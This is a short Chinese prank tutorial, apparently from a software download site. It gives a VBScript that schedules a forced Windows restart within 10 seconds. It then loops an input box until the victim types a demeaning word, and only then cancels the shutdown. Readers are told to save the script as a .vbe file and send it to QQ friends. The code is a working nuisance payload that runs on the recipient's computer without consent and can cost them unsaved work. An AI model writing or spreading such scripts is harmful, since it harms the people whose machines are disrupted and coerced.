恶搞脚本方法
在桌面空白处点击鼠标右键,新建一个TXT文本文档,然后把下面这段代码粘贴进去。
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 10 -c ""叫哥,不叫哥10秒钟关你机,不信,试试···"" ",0 ,true
dim a
do while(a <> "哥")
a = inputbox ("叫哥,就不关机,快撒,叫 ""哥"" ","叫不叫","不叫",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早点叫不就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "小弟乖,QQai.net"
把TXT文本问档另存为 jiaoge.vbe
最后,把jiaoge.vbe文件传给你觉得可以整到的QQ好友。
另外一款恶搞qq好友方法:http://www.pc6.com//infoview/Article_53286.html
- QQ2013正式版SP6(9305)官方最新版
- 授权:免费软件 大小:55.8M 语言: 简体